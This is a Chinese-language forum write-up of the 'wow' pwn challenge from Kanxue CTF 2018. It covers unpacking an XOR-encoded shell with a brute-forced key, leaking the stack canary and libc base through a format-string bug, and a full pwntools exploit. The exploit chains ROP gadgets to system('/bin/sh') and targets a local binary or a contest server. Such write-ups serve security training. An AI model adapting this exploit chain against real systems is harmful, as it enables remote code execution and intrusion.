-
-
[讨论]看雪CTF2018 - 第三题 PWN_wow Writeup
-
发表于: 2018-6-21 21:43 2139
-
首先啊,查看程序,主程序以后跳转,有个小壳
.text:0000000000400866 L1_64: ; CODE XREF: .text:0000000000400878↓j .text:0000000000400866 ; .text:000000000040087D↓j .text:0000000000400866 mov bl, [rax+rcx] .text:0000000000400869 xor bl, dl .text:000000000040086B mov [rax+rcx], bl .text:000000000040086E mov dh, [rax+rcx-1] .text:0000000000400872 inc rcx .text:0000000000400875 cmp dh, 0FBh .text:0000000000400878 jz short L1_64 .text:000000000040087A cmp bl, 90h .text:000000000040087D jnz short L1_64
逐字异或,但是发现这个异或的结果每次都不同,于是发现需要输入6位密码,根据6位密码来异或
.text:000000000040083A xor rax, rax .text:000000000040083D mov rdx, 6 .text:0000000000400844 push rax .text:0000000000400845 lea rax, szCh .text:000000000040084D mov rsi, rax .text:0000000000400850 pop rax .text:0000000000400851 mov rdi, rax .text:0000000000400854 syscall ; LINUX -
然后跑一个idc脚本判断异或以后是FB 90
#include <idc.idc> static main() { auto ptr, i, a, b, k, x; k = 0; ptr = 0x40087F; i = 0; while(1) { a = Byte(ptr+i); b = Byte(ptr+i+1); for (x = 0; x <= 255; x++) { if(((a^x) == 0xFB)&&((b^x) == 0x90)) { Message("%x\n",ptr+i); Message("%x\n",x); k++; break; } } if (k == 6)break; i++; } Message("good job\n"); }
于是得到解密密码evXnaK
然后解密成功,输出wow,继续观察程序
.text:0000000000400A30 xor rax, rax .text:0000000000400A33 .text:0000000000400A33 loc_400A33: ; CODE XREF: .text:L_J0↑j .text:0000000000400A33 mov rdx, 1Ah .text:0000000000400A3A mov rsi, rsp .text:0000000000400A3D mov ds:lpGoble, rsp .text:0000000000400A45 mov rdi, rax .text:0000000000400A48 syscall ; LINUX - sys_read .text:0000000000400A4A mov rax, cs:lpGoble .text:0000000000400A51 mov rdi, rax .text:0000000000400A54 mov eax, 0 .text:0000000000400A59 call _printf .text:0000000000400A5E xor rax, rax .text:0000000000400A61 mov rdx, 200h .text:0000000000400A68 lea rsi, [rsp-20h] .text:0000000000400A6D mov rdi, rax .text:0000000000400A70 syscall ; LINUX - sys_read .text:0000000000400A72 nop
读入然后输出再读入,这里可以栈溢出,但是发现开了GS保护,确定是使用rop
一开始想着用长字符串连接GS,然后实现程序复用,但是发现复用需要再检查一次GS,陷入僵局
然后吃了点东西,想到是格式化字符串漏洞(刚刚真是石乐志)
于是编写payload泄露出libc和gs
在payload中加入泄露出来的gs
得到最后的exp
from pwn import * context(arch='amd64',os='linux') context.log_level = 'debug' debug = 1 if (debug==1): p = process('./wow') else: p = remote('139.199.99.130',65188) p.recvuntil('***************************\n\n') p.send('evXnaK') p.recvuntil('wow!\n') p.send('gs:%13$lx\nlibc:%15$lx\n') p.recvuntil('gs:') gs = p.recvline()[:-1] p.recvuntil('libc:') libc = p.recvline()[:-1] gs = gs gs = u64(gs.decode('hex')[::-1]) libc = u64(libc.decode('hex')[::-1]+'\x00\x00') - 0x20830 print('gs:'+hex(gs)) print('libc:'+hex(libc)) binsh = libc + 0x18CD57 rdi_ret = libc + 0x21102 system = libc + 0x45390 print('binsh:'+hex(binsh)) print('rdi_ret:'+hex(rdi_ret)) print('system:'+hex(system)) p.send(p64(0)*11 + p64(gs) + p64(0) + p64(rdi_ret) + p64(binsh) + p64(system)) p.interactive()
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)
赞赏
他的文章
看原图
赞赏
雪币:
留言: